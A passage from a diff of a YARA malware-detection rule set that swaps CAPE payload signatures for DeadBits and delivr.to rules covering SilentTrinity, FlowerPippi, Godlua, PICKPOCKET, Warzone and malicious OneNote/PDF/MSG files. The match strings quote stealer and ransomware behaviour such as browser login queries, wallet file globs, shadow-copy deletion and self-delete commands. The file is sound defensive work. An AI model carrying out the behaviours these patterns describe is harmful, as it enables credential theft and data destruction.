+		$str10 = /SearchModel\w\dthankyou/
+		$str11 = /SearchModel\w\dinterrupt/
+		$str12 = /SearchModel\w\dsearch/
+		$str13 = /SearchModel\w\dsuccess/
+		$str14 = /SearchModel\w\d{2}carrierURL/
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		( uint32(0)==0xfeedface or uint32(0)==0xcefaedfe or uint32(0)==0xfeedfacf or uint32(0)==0xcffaedfe or uint32(0)==0xbebafeca) and $header0 and $header1 and (($path0 and ( any of ($install*))) or (5 of ($str*))) or all of them
 }
-rule CAPE_Agentteslav4 : FILE
+rule DEADBITS_Silenttrinity : FILE
 {
 	meta:
-		description = "AgentTesla Payload"
-		author = "kevoreilly"
-		id = "a39109ca-84cb-527d-b9c2-d8763fa6e496"
-		date = "2024-03-22"
-		modified = "2024-03-22"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AgentTesla.yar#L125-L138"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "0a39036f408728ab312a54ff3354453d171424f57f9a8f3b42af867be3037ca9"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "40f9174c-e9a5-5453-b5fa-6c01c46daffa"
+		date = "2019-07-19"
+		modified = "2019-07-19"
+		reference = "https://countercept.com/blog/hunting-for-silenttrinity/"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/SilentTrinity_Payload.yara#L1-L55"
+		license_url = "N/A"
+		logic_hash = "7fd1775aadfccfdf141c0721f557e6c54b058ac17a59a8e4561dd62ab4a1eff3"
 		score = 75
-		quality = 70
+		quality = 78
 		tags = "FILE"
-		cape_type = "AgentTesla Payload"
-		packed = "7f8a95173e17256698324886bb138b7936b9e8c5b9ab8fffbfe01080f02f286c"
+		Description = "Attempts to detect the SilentTrinity malware family"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$decode1 = {(07|FE 0C 01 00) (07|FE 0C 01 00) 8E 69 (17|20 01 00 00 00) 63 8F ?? 00 00 01 25 47 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A D2 61 D2 52}
-		$decode2 = {(07|FE 0C 01 00) (08|FE 0C 02 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (11 07|FE 0C 07 00) 91 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A 61 D2 61 D2 52}
-		$decode3 = {(07|FE 0C 01 00) (11 07|FE 0C 07 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (08|FE 0C 02 00) 91 61 D2 52}
+		$pdb01 = "SILENTTRINITY.pdb" ascii
+		$str01 = "Found {0} in zip" ascii fullword
+		$str02 = "{0} not in zip file" ascii fullword
+		$str03 = "Invalid HMAC: {0}" ascii fullword
+		$str04 = "Attempting HTTP GET to {0}" ascii fullword
+		$str05 = "Downloaded {0} bytes" ascii fullword
+		$str06 = "Error downloading {0}: {1}" ascii fullword
+		$str07 = "Attempting HTTP POST to {0}" ascii fullword
+		$str08 = "POST" ascii fullword
+		$str09 = "application/octet-stream" ascii fullword
+		$str10 = "Error sending job results to {0}: {1}" ascii fullword
+		$str11 = ".dll" ascii fullword
+		$str12 = "Trying to resolve assemblies by staging zip" ascii fullword
+		$str13 = "'{0}' loaded" ascii fullword
+		$str14 = "Usage: SILENTTRINITY.exe <URL> [<STAGE_URL>]" ascii fullword
+		$str15 = "IronPython.dll" ascii fullword
+		$str16 = "IronPythonDLL" ascii fullword
+		$str17 = "DEBUG" ascii fullword
+		$str18 = "Main.py" ascii fullword
+		$str19 = "Execute" ascii fullword
+		$str20 = "SILENTTRINITY.Properties.Resources" ascii fullword
+		$str21 = ".zip" ascii fullword
+		$a00 = "HttpGet" ascii fullword
+		$a01 = "System.Net" ascii fullword
+		$a02 = "Target" ascii fullword
+		$a03 = "WebClient" ascii fullword
+		$a04 = "get_Current" ascii fullword
+		$a05 = "Endpoint" ascii fullword
+		$a06 = "AesDecrypt" ascii fullword
+		$a07 = "AesEncrypt" ascii fullword
+		$a08 = "cert" ascii fullword
+		$a09 = "WebRequest" ascii fullword
+		$a10 = "HttpPost" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		uint16(0)==0x5a4d and ((8 of ($str*) or ( all of ($a*) and $pdb01) or $pdb01))
 }
-rule CAPE_Agentteslav4Jit
+rule DEADBITS_TA505_Flowerpippi : TA505 FINANCIAL BACKDOOR WINMALWARE FILE
 {
 	meta:
-		description = "AgentTesla JIT-compiled native code"
-		author = "kevoreilly"
-		id = "a87dca44-4974-543c-9565-487ed99be2a6"
-		date = "2024-03-22"
-		modified = "2024-03-22"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/AgentTesla.yar#L140-L153"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "8f7144d2a989ce8d291af926b292f5f0f7772e707b0e49797eba13ecf91b90bc"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "1cfcb25e-1de9-53ac-b272-22792844a2d0"
+		date = "2019-07-18"
+		modified = "2019-07-22"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/TA505_FlowerPippi.yara#L1-L65"
+		license_url = "N/A"
+		logic_hash = "eb709915f67d7225b024da99bc84a21455f3b9d5fb4bc779bbdf6a4d3ab33489"
 		score = 75
-		quality = 70
-		tags = ""
-		cape_type = "AgentTesla Payload"
-		packed = "7f8a95173e17256698324886bb138b7936b9e8c5b9ab8fffbfe01080f02f286c"
+		quality = 24
+		tags = "TA505, FINANCIAL, BACKDOOR, WINMALWARE, FILE"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$decode1 = {8B 01 8B 40 3C FF 50 10 8B C8 E8 [4] 89 45 CC B8 1A 00 00 00}
-		$decode2 = {83 F8 18 75 2? 8B [2-5] D1 F8}
-		$decode3 = {8D 4C 0? 08 0F B6 01 [0-3] 0F B6 5? 04 33 C2 88 01 B8 19 00 00 00}
+		$pipi = "pipipipip" ascii fullword
+		$pdb0 = "Loader.pdb" ascii fullword
+		$str0 = "bot.php" ascii fullword
+		$str1 = "%.2X" ascii fullword
+		$str2 = "sd.bat" ascii fullword
+		$str3 = "open" ascii fullword
+		$str4 = "domain" ascii fullword
+		$str5 = "proxy" ascii fullword
+		$str6 = ".exe" ascii fullword
+		$str7 = "Can't launch EXE file" ascii fullword
+		$str8 = "Can't load file" ascii fullword
+		$str9 = ".dll" ascii fullword
+		$str10 = "Dll function not found" ascii fullword
+		$str11 = "Can't load Dll" ascii fullword
+		$str12 = "__start_session__" ascii fullword
+		$str13 = "__failed__" ascii fullword
+		$str14 = "RSDSG" ascii fullword
+		$str15 = "ProxyServer" ascii fullword
+		$str16 = ":Repeat" ascii fullword
+		$str17 = "del \"%s\"" ascii fullword
+		$str18 = "if exist \"%s\" goto Repeat" ascii fullword
+		$str19 = "rmdir \"%s" ascii fullword
+		$str20 = "del \"%s\"" ascii fullword
+		$str21 = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" ascii fullword
+		$str22 = "ProxyEnable" ascii fullword
+		$str23 = ".00cfg" ascii fullword
+		$str24 = ".idata" ascii fullword
+		$api0 = "IsProcessorFeaturePresent" ascii fullword
+		$api1 = "IsDebuggerPresent" ascii fullword
+		$api2 = "HttpOpenRequestA" ascii fullword
+		$api3 = "InternetCrackUrlA" ascii fullword
+		$api4 = "InternetOpenW" ascii fullword
+		$api5 = "HttpSendRequestW" ascii fullword
+		$api6 = "InternetCloseHandle" ascii fullword
+		$api7 = "InternetConnectA" ascii fullword
+		$api8 = "InternetSetOptionW" ascii fullword
+		$api9 = "InternetReadFile" ascii fullword
+		$api10 = "WININET.dll" ascii fullword
+		$api11 = "URLDownloadToFileA" ascii fullword
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <700KB and ((10 of ($str*) and $pipi) or (10 of ($str*) and $pdb0) or (10 of ($str*) and 5 of ($api*)) or ( all of them ))
 }
-rule CAPE_Scarab : FILE
+rule DEADBITS_Godlua_Linux : LINUXMALWARE FILE
 {
 	meta:
-		description = "Scarab Payload"
-		author = "kevoreilly"
-		id = "2ba8ae50-1e56-5773-aaea-058161b59c78"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Scarab.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "0d8fa7ab4c8e5699f17f9e9444e85a42563a840a8e7ee9eda54add3a6845d1c6"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "1a05c88a-8199-5c6d-9352-9ef60df40078"
+		date = "2019-07-18"
+		modified = "2019-07-22"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/godlua_linux.yara#L1-L57"
+		license_url = "N/A"
+		logic_hash = "70a8078f261648f050807e82009493e39fa32c0748576b3df76d8aaaa117103e"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Scarab Payload"
+		quality = 51
+		tags = "LINUXMALWARE, FILE"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$crypt1 = {8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08}
-		$crypt2 = {8B 4C 82 0C 8B D9 C1 E3 18 C1 E9 08 0B D9 8B CB 0F B6 D9 8B 1C 9D AC 0C 43 00 89 5C 24 04 8B D9 C1 EB 08 0F B6 DB 8B 34 9D AC 0C 43 00 8B D9 C1 EB 10}
-		$crypt3 = {8B 13 8B CA 81 E1 80 80 80 80 8B C1 C1 E8 07 50 8B C1 59 2B C1 25 1B 1B 1B 1B 8B CA 81 E1 7F 7F 7F 7F 03 C9 33 C1 8B C8 81 E1 80 80 80 80 8B F1 C1 EE 07}
-
-	condition:
-		uint16(0)==0x5A4D and all of them
+		$tmp0 = "/tmp" ascii fullword
+		$tmp1 = "TMPDIR" ascii
+		$str1 = "\"description\": \"" ascii fullword
+		$str2 = "searchers" ascii fullword
+		$str3 = "/dev/misc/watchdog" ascii fullword
+		$str4 = "/dev/wdt" ascii fullword
+		$str5 = "/dev/misc/wdt"
+		$str6 = "lcurl.safe" ascii fullword
+		$str7 = "luachild" ascii fullword
+		$str8 = "cjson.safe" ascii fullword
+		$str9 = "HostUrl" ascii fullword
+		$str10 = "HostConnect" ascii fullword
+		$str11 = "LUABOX" ascii fullword
+		$str12 = "Infinity" ascii fullword
+		$str13 = "/bin/sh" ascii fullword
+		$str14 = /\.onion(\.)?/ ascii fullword
+		$str15 = "/etc/resolv.conf" ascii fullword
+		$str16 = "hosts:" ascii fullword
+		$resolvers = /([0-9]{1,3}\.){3}[0-9]{1,3}:53,([0-9]{1,3}\.){3}[0-9]{1,3},([0-9]{1,3}\.){3}[0-9]{1,3}:5353,([0-9]{1,3}\.){3}[0-9]{1,3}:443/ ascii
+		$identifier0 = "$LuaVersion: God " ascii
+		$identifier1 = /fbi\/d\.\/d.\/d/ ascii
+		$identifier2 = "Copyright (C) FBI Systems, 2012-2019, https://fbi.gov" fullword ascii
+		$identifier3 = "God 5.1"
+
+	condition:
+		uint16(0)==0x457f and ( all of them or ( any of ($identifier*) and $resolvers and any of ($tmp*) and 4 of ($str*)) or ( any of ($identifier*) and any of ($tmp*) and 4 of ($str*)))
 }
-rule CAPE_Megacortex : FILE
+rule DEADBITS_APT34_PICKPOCKET : APT APT34 INFOSTEALER WINMALWARE FILE
 {
 	meta:
-		description = "MegaCortex Payload"
-		author = "kevoreilly"
-		id = "ea3dd937-2cb1-5b0f-98b8-154aacaf8650"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/MegaCortex.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "5de1d8241260070241c91b97f18feb2a90069e3b158e863e2d9f568799c244e6"
+		description = "Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018"
+		author = "Adam Swanda"
+		id = "71db5c74-4964-5c5e-a830-242bfd0a2158"
+		date = "2019-07-22"
+		modified = "2019-07-22"
+		reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_PICKPOCKET.yara#L1-L30"
+		license_url = "N/A"
+		logic_hash = "7063cff3eb42c4468e01c9b214161cd306f7126f66650d99d43168730d1dc83a"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "MegaCortex Payload"
+		quality = 80
+		tags = "APT, APT34, INFOSTEALER, WINMALWARE, FILE"
 
 	strings:
-		$str1 = ".megac0rtx" ascii wide
-		$str2 = "vssadmin delete shadows /all" ascii
-		$sha256 = {98 2F 8A 42 91 44 37 71 CF FB C0 B5 A5 DB B5 E9}
+		$s1 = "SELECT * FROM moz_logins;" ascii fullword
+		$s2 = "\\nss3.dll" ascii fullword
+		$s3 = "SELECT * FROM logins;" ascii fullword
+		$s4 = "| %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');" ascii fullword
+		$s5 = "\\Login Data" ascii fullword
+		$s6 = "%s\\Mozilla\\Firefox\\profiles.ini" ascii fullword
+		$s7 = "Login Data" ascii fullword
+		$s8 = "encryptedUsernamencryptedPasswor" ascii fullword
+		$s10 = "%s\\Mozilla\\Firefox\\%s" ascii fullword
+		$s11 = "encryptedUsername" ascii fullword
+		$s12 = "2013-12-06 14:53:30 27392118af4c38c5203a04b8013e1afdb1cebd0d" ascii fullword
+		$s13 = "27392118af4c38c5203a04b8013e1afdb1cebd0d" ascii
+		$s15 = "= 'table' AND name!='sqlite_sequence'   AND coalesce(rootpage,1)>0" ascii fullword
+		$s18 = "[*] FireFox :" fullword wide
+		$s19 = "[*] Chrome :" fullword wide
+		$s20 = "username_value" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		uint16(0)==0x5a4d and (8 of them or all of them )
 }
-rule CAPE_Cerber : FILE
+rule DEADBITS_Avemaria_Warzone : AVEMARIA WARZONE WINMALWARE INFOSTEALER FILE
 {
 	meta:
-		description = "Cerber Payload"
-		author = "kevoreilly"
-		id = "edf08795-cf54-5822-8bc4-35cfba0fe8e8"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Cerber.yar#L1-L12"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "16a8f808c28d3b142c079a305aba7f553f2452e439710bf610a06f8f2924d5a3"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "1e03927b-d59c-5e1f-bdee-e44dfb172fad"
+		date = "2019-07-18"
+		modified = "2019-08-08"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/avemaria_warzone.yara#L1-L32"
+		license_url = "N/A"
+		logic_hash = "1fe55fc8ea80616b11757193c2c74b9cf577ab661ddca4c6c64cfad63a300614"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Cerber Payload"
+		quality = 80
+		tags = "AVEMARIA, WARZONE, WINMALWARE, INFOSTEALER, FILE"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$code1 = {33 C0 66 89 45 8? 8D 7D 8? AB AB AB AB AB [0-2] 66 AB 8D 45 8? [0-3] E8 ?? ?? 00 00}
+		$str1 = "cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q " ascii fullword
+		$str2 = "MsgBox.exe" wide fullword
+		$str4 = "\\System32\\cmd.exe" wide fullword
+		$str6 = "Ave_Maria" wide
+		$str7 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" ascii fullword
+		$str8 = "SMTP Password" wide fullword
+		$str11 = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide fullword
+		$str12 = "\\sqlmap.dll" wide fullword
+		$str14 = "SELECT * FROM logins" ascii fullword
+		$str16 = "Elevation:Administrator!new" wide
+		$str17 = "/n:%temp%" ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		( uint16(0)==0x5a4d and filesize <400KB) and (5 of ($str*) or all of them )
 }
-rule CAPE_Ursnif : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: DelivrTo
+ * Repository: https://github.com/delivr-to/detections
+ * Retrieval Date: 2024-09-01
+ * Git Commit: b629eab11a1f16284a6727077780982254aaee24
+ * Number of Rules: 7
+ * Skipped: 0 (age), 2 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule DELIVRTO_SUSP_Onenote_Win_Script_Encoding_Feb23 : FILE
 {
 	meta:
-		description = "Ursnif Payload"
-		author = "kevoreilly & enzo"
-		id = "200c2227-0d34-5e4a-b5aa-ab63a077d141"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Ursnif.yar#L1-L19"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "46e79fde81ff5352314618021e394b2e0322df07170c7279363290b7134935fd"
-		score = 75
-		quality = 70
+		description = "Presence of Windows Script Encoding Header in a OneNote file with embedded files"
+		author = "delivr.to"
+		id = "95cd5ce0-07b3-5503-ad6f-944206bd4fb6"
+		date = "2023-02-19"
+		modified = "2023-02-19"
+		reference = "https://github.com/delivr-to/detections"
+		source_url = "https://github.com/delivr-to/detections/blob/b629eab11a1f16284a6727077780982254aaee24/yara-rules/onenote_windows_script_encoding_file.yar#L1-L22"
+		license_url = "N/A"
+		logic_hash = "b7068f551b3665358f461a076c2d46c82db558d7fa4acb7d3c9c5c2afce31253"
+		score = 60
+		quality = 78
 		tags = "FILE"
-		cape_type = "Ursnif Payload"
 
 	strings:
-		$crypto64_1 = {41 8B 02 ?? C1 [0-1] 41 33 C3 45 8B 1A 41 33 C0 D3 C8 41 89 02 49 83 C2 04 83 C2 FF 75 D?}
-		$crypto64_2 = {44 01 44 24 10 FF C1 41 8B C0 D1 64 24 10 33 C3 41 8B D8 FF 4C 24 10 41 33 C3 01 44 24 10 D3 C8 01 44 24 10 41 89 02 49 83 C2 04 83 C2 FF 75 C3}
-		$crypto64_3 = {33 C6 ?? C7 [0-1] 49 83 C2 04 33 C3 8B F1 8B CF D3 C8 89 02 48 83 C2 04 41 83 C3 FF 75 ?? 45 85 C9 75 ?? 41 83 E0 03}
-		$crypto64_4 = {41 8B 02 41 8B CB 41 83 F3 01 33 C3 41 8B 1A C1 E1 03 41 33 C0 D3 C8 41 89 02 49 83 C2 04 83 C2 FF 75 C6}
-		$decrypt_config64 = {44 8B D9 33 C0 45 33 C9 44 33 1D ?? ?? ?? 00 ?? ?? D2 ?? ?? D2 74 ?? 4C 8D 42 10 45 3B 0A 73 2? 45 39 58 F8 75 1C 41 F6 40 FC 01 74 12}
-		$crypto32_1 = {01 45 FC D1 65 FC FF 4D FC 33 C1 33 45 0C 01 45 FC 43 8A CB D3 C8 8B CE 01 45 FC 89 02 83 C2 04 FF 4D 08 75 CD}
-		$crypto32_2 = {33 C1 33 44 24 10 43 8A CB D3 C8 8B CE 89 02 83 C2 04 FF 4C 24 0C 75 D9}
-		$decrypt_config32 = {8B ?? 08 5? 33 F? 3B [1-2] 74 14 A1 0? ?? ?? ?? 35 ?? ?? ?? ?? 50 8B D? E8 ?? D? 00 00 EB 02 33 C0 ?B ?? ?? ?? ?? ?? ?? ?? 74 14 8D 4D ?? ?? ?? 50 FF D? 85 C0 74 08}
+		$one = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 }
+		$fdso = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
+		$wse = { 23 40 7E 5E }
 
 	condition:
-		uint16(0)==0x5A4D and ($decrypt_config64 and any of ($crypto64*)) or ($decrypt_config32 and any of ($crypto32*))
+		filesize <5MB and ($one at 0) and $fdso and $wse
 }
-rule CAPE_Vidar : FILE
+rule DELIVRTO_SUSP_PDF_MHT_Activemime_Sept23 : FILE
 {
 	meta:
-		description = "Vidar Payload"
-		author = "kevoreilly,rony"
-		id = "9e4e797f-880e-54eb-ad44-caad0ec5683c"
-		date = "2023-04-21"
-		modified = "2023-04-21"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Vidar.yar#L1-L22"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "5d4c030536ed41cf4e0dcb77b2fe4553d789ee2b8095a4b3e050692335a8709d"
-		score = 75
-		quality = 70
+		description = "Presence of MHT ActiveMime within PDF for polyglot file"
+		author = "delivr.to"
+		id = "fbac1371-bad4-5751-a5c4-ce6c270fb83e"
+		date = "2023-09-04"
+		modified = "2023-09-04"
+		reference = "https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html"
+		source_url = "https://github.com/delivr-to/detections/blob/b629eab11a1f16284a6727077780982254aaee24/yara-rules/pdf_mht_activemime.yar#L1-L19"
+		license_url = "N/A"
+		logic_hash = "af1450f649de6daec242f11e3b3c35305d3127fac4ef719a4ddb4edab3ae3651"
+		score = 70
+		quality = 78
 		tags = "FILE"
-		cape_type = "Vidar Payload"
-		packed = "0cff8404e73906f3a4932e145bf57fae7a0e66a7d7952416161a5d9bb9752fd8"
 
 	strings:
-		$decode = {FF 75 0C 8D 34 1F FF 15 ?? ?? ?? ?? 8B C8 33 D2 8B C7 F7 F1 8B 45 0C 8B 4D 08 8A 04 02 32 04 31 47 88 06 3B 7D 10 72 D8}
-		$xor_dec = {0F B6 [0-5] C1 E? ?? 33 ?? 81 E? [0-5] 89 ?? 7C AF 06}
-		$wallet = "*wallet*.dat" fullword ascii wide
-		$s1 = "\"os_crypt\":{\"encrypted_key\":\"" fullword ascii wide
-		$s2 = "screenshot.jpg" fullword ascii wide
-		$s3 = "\\Local State" fullword ascii wide
-		$s4 = "Content-Disposition: form-data; name=\"" fullword ascii wide
-		$s5 = "CC\\%s_%s.txt" fullword ascii wide
-		$s6 = "History\\%s_%s.txt" fullword ascii wide
-		$s7 = "Autofill\\%s_%s.txt" fullword ascii wide
-		$s8 = "Downloads\\%s_%s.txt" fullword ascii wide
+		$mht0 = "mime" ascii nocase
+		$mht1 = "content-location:" ascii nocase
+		$mht2 = "content-type:" ascii nocase
+		$act = "edit-time-data" ascii nocase
 
 	condition:
-		uint16be(0)==0x4d5a and 6 of them
+		uint32(0)==0x46445025 and all of ($mht*) and $act
 }
-rule CAPE_Carbanak : FILE
+rule DELIVRTO_SUSP_Msg_CVE_2023_23397_Mar23 : CVE_2023_23397 FILE
 {
 	meta:
-		description = "Carnbanak Payload"
-		author = "enzok"
-		id = "e6d395d5-65ba-5efb-bcbc-c6d56a96f0c1"
-		date = "2024-03-18"
-		modified = "2024-03-18"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Carbanak.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "c9c1b06cb9c9bd6fc4451f5e2847a1f9524bb2870d7bb6f0ee09b9dd4e3e4c84"
-		logic_hash = "8ed5ab07f1635dc7cdf296e86a71a0a99d0b2faef8fc460f43d426b24b8c8367"
-		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Carbanak Payload"
+		description = "MSG file with a PidLidReminderFileParameter property, potentially exploiting CVE-2023-23397"
+		author = "delivr.to"
+		id = "a0ede2d3-7789-5662-9575-5d0a5cf4457c"
+		date = "2023-03-15"
+		modified = "2023-03-15"
+		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
+		source_url = "https://github.com/delivr-to/detections/blob/b629eab11a1f16284a6727077780982254aaee24/yara-rules/msg_cve_2023_23397.yar#L1-L20"
+		license_url = "N/A"
+		logic_hash = "0476cf7f93c4f6cc48c19933f31360b62fe5e339f6a2a31dee8ad95f83ce67d7"
+		score = 60
+		quality = 80
+		tags = "CVE-2023-23397, FILE"
 
 	strings:
-		$sboxinit = {0F BE 02 4? 8D 05 [-] 4? 8D 4D ?? E8 [3] 00 33 F6 4? 8D 5D ?? 4? 63 F8 8B 45 ?? B? B1 E3 14 06}
-		$decode_string = {0F BE 03 FF C9 83 F8 20 7D ?? B? 1F [3] 4? 8D 4A E2 EB ?? 3D 80 [3] 7D ?? B? 7F [3] 4? 8D 4A A1 EB ?? B? FF [3] 4? 8D 4A 81}
-		$constants = {0F B7 05 [3] 00 0F B7 1D [3] 00 83 25 [3] 00 00 89 05 [3] 00 0F B7 05 [3] 00 89 1D [3] 00 89 05 [3] 00 33 C0 4? 8D 4D}
+		$app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
+		$rfp = { 1F 85 00 00 }
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		uint32be(0)==0xD0CF11E0 and uint32be(4)==0xA1B11AE1 and $app and $rfp
 }
-rule CAPE_Doomedloader : FILE
+rule DELIVRTO_SUSP_Onenote_Repeated_Filedatareference_Feb23 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - CAPE"
-		author = "kevoreilly"
-		id = "88436e71-360e-5719-989f-24e71591ebe0"
-		date = "2024-05-09"
-		modified = "2024-05-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/DoomedLoader.yar#L1-L12"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "54a5962ef49ebf987908c4ea1559788f7c96a7e4ea61d2973636e998a0239c77"
-		score = 75
-		quality = 70
+		description = "Repeated references to files embedded in OneNote file. May indicate multiple copies of file hidden under image, as leveraged by Qakbot et al."
+		author = "delivr.to"
+		id = "2a46d6cc-2800-5645-889c-7ad7d7aa69bd"
+		date = "2023-02-17"
+		modified = "2023-02-17"
+		reference = "https://github.com/delivr-to/detections"
+		source_url = "https://github.com/delivr-to/detections/blob/b629eab11a1f16284a6727077780982254aaee24/yara-rules/onenote_repeated_files.yar#L1-L23"
+		license_url = "N/A"
+		logic_hash = "ef74a128de4d3745af856957931eaae0c0ae5a5583eab1a7c58d6dd666e7fd15"
+		score = 60
+		quality = 80
 		tags = "FILE"
-		cape_type = "DoomedLoader Payload"
-		packed = "914b1b3180e7ec1980d0bafe6fa36daade752bb26aec572399d2f59436eaa635"
 
 	strings:
-		$anti = {48 8B 4C 24 ?? E8 [4] 84 C0 B8 [4] 41 0F 45 C6 EB}
-		$syscall = {49 89 CA 8B 44 24 08 FF 64 24 10}
+		$one = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 }
+		$fdso = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
+		$fref = { 3C 00 69 00 66 00 6E 00 64 00 66 00 3E 00 7B 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? }
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		filesize <5MB and ($one at 0) and $fdso and #fref>(#fdso*4)
 }
-rule CAPE_Mole : FILE
+rule DELIVRTO_SUSP_HTML_WASM_Smuggling
 {
 	meta:
-		description = "Mole Payload"
